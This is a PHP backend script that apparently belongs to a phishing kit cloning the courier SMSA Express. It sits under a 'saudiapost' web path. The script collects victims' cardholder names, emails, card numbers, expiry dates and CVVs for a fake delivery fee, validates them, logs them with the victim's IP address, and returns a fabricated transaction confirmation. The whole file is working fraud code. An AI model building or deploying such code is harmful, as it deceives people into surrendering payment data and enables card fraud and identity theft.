/home2/mshostin/public_html/saudiapost/smsa/process_payment.php
<?php
/**
 * SMSA EXPRESS CLONE - PAYMENT PROCESSING
 * Mode Hold: Les données sont traitées mais ne sont pas envoyées
 */

header('Content-Type: application/json');

// Activer le rapport d'erreurs pour le débogage
error_reporting(E_ALL);
ini_set('display_errors', 0);

// Vérifier que c'est une requête POST
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode([
        'success' => false,
        'message' => 'Method not allowed'
    ]);
    exit;
}

// Récupérer les données du formulaire
$trackingNumber = isset($_POST['tracking_number']) ? sanitizeInput($_POST['tracking_number']) : '';
$deliveryFee = isset($_POST['delivery_fee']) ? floatval($_POST['delivery_fee']) : 0;
$cardName = isset($_POST['card_name']) ? sanitizeInput($_POST['card_name']) : '';
$email = isset($_POST['email']) ? sanitizeInput($_POST['email']) : '';
$cardNumber = isset($_POST['card_number']) ? sanitizeInput($_POST['card_number']) : '';
$expiryDate = isset($_POST['expiry_date']) ? sanitizeInput($_POST['expiry_date']) : '';
$cvv = isset($_POST['cvv']) ? sanitizeInput($_POST['cvv']) : '';

// Valider les données
$validationErrors = validatePaymentData($trackingNumber, $deliveryFee, $cardName, $email, $cardNumber, $expiryDate, $cvv);

if (!empty($validationErrors)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => implode(', ', $validationErrors)
    ]);
    exit;
}

// MODE HOLD: Enregistrer les données dans un fichier local au lieu de les envoyer
$paymentData = [
    'timestamp' => date('Y-m-d H:i:s'),
    'ip_address' => $_SERVER['REMOTE_ADDR'],
    'tracking_number' => $trackingNumber,
    'delivery_fee' => $deliveryFee,
    'cardholder_name' => $cardName,
    'email' => $email,
    'card_number_masked' => maskCardNumber($cardNumber),
    'expiry_date' => $expiryDate,
    'cvv_masked' => '***',
    'status' => 'HOLD',
    'notes' => 'Payment received and held for manual processing'
];

// Créer le dossier de logs s'il n'existe pas
$logsDir = __DIR__ . '/logs';
if (!is_dir($logsDir)) {
    mkdir($logsDir, 0755, true);
}

// Enregistrer les données dans un fichier JSON
$logFile = $logsDir . '/payment_' . date('Y-m-d') . '.json';
$logEntry = json_encode($paymentData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n---\n";

// Ajouter au fichier de log
if (file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX) === false) {
    http_response_code(500);
    echo json_encode([
        'success' => false,
        'message' => 'Failed to process payment'
    ]);
    exit;
}

// Répondre avec succès
http_response_code(200);
echo json_encode([
    'success' => true,
    'message' => 'Payment received and held for processing',
    'transaction_id' => generateTransactionId(),
    'status' => 'HOLD',
    'tracking_number' => $trackingNumber,
    'amount' => $deliveryFee
]);

exit;

/**
 * Nettoyer et valider les entrées
 */
function sanitizeInput($input) {
    return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}

/**
 * Valider les données de paiement
 */
function validatePaymentData($trackingNumber, $deliveryFee, $cardName, $email, $cardNumber, $expiryDate, $cvv) {
    $errors = [];

    // Valider le numéro de suivi
    if (empty($trackingNumber)) {
        $errors[] = 'Tracking number is required';
    }

    // Valider le montant
    if ($deliveryFee <= 0) {
        $errors[] = 'Invalid delivery fee';
    }

    // Valider le nom
    if (empty($cardName) || strlen($cardName) < 3) {
        $errors[] = 'Cardholder name must be at least 3 characters';
    }

    // Valider l'email
    if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = 'Invalid email address';
    }

    // Valider le numéro de carte (16 chiffres)
    $cardNumberDigits = preg_replace('/\D/', '', $cardNumber);
    if (strlen($cardNumberDigits) !== 16) {
        $errors[] = 'Card number must be 16 digits';
    }

    // Valider la date d'expiration (MM/YY)
    if (!preg_match('/^\d{2}\/\d{2}$/', $expiryDate)) {
        $errors[] = 'Invalid expiry date format';
    } else {
        // Vérifier que la carte n'est pas expirée
        list($month, $year) = explode('/', $expiryDate);
        $currentYear = intval(date('y'));
        $currentMonth = intval(date('m'));
        $cardYear = intval($year);
        $cardMonth = intval($month);

        if ($cardYear < $currentYear || ($cardYear === $currentYear && $cardMonth < $currentMonth)) {
            $errors[] = 'Card has expired';
        }
    }

    // Valider le CVV (3-4 chiffres)
    if (!preg_match('/^\d{3,4}$/', $cvv)) {
        $errors[] = 'Invalid CVV';
    }

    return $errors;
}

/**
 * Masquer le numéro de carte pour la sécurité
 */
function maskCardNumber($cardNumber) {
    $digits = preg_replace('/\D/', '', $cardNumber);
    $last4 = substr($digits, -4);
    return '****-****-****-' . $last4;
}

/**
 * Générer un ID de transaction unique
 */
function generateTransactionId() {
    return 'TXN-' . date('YmdHis') . '-' . strtoupper(substr(md5(uniqid()), 0, 8));
}
?>